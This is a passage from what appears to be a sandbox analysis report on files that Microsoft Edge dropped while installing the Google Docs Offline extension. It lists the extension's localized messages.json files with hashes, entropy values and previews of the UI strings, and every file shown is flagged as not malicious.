SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
